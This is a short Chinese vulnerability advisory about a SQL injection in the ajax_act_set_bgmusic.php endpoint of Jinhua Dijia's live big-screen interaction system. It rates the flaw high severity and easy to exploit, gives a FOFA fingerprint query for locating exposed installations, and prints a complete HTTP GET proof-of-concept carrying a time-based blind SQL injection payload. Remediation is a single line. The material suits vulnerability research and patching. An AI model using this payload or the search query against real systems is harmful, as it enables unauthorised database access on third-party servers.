

金华迪加 现场大屏互动系统

ajax_act_set_bgmusic SQL注入漏洞

金华迪加 现场大屏互动系统 ajax_act_set_bgmusic SQL注入漏洞

影响版本

金华迪加 现场大屏互动系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/wall/themes/meepo/assets/images/defaultbg.jpg" || title="现场活动大屏幕系统"

POC/EXP：

```
GET /wall/ajax_act_set_bgmusic.php?
bgmusicstatus=1&plugname=%22XOR(if(now())=sysdate(),SLEEP(8),0))XOR%22Z HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
```



漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本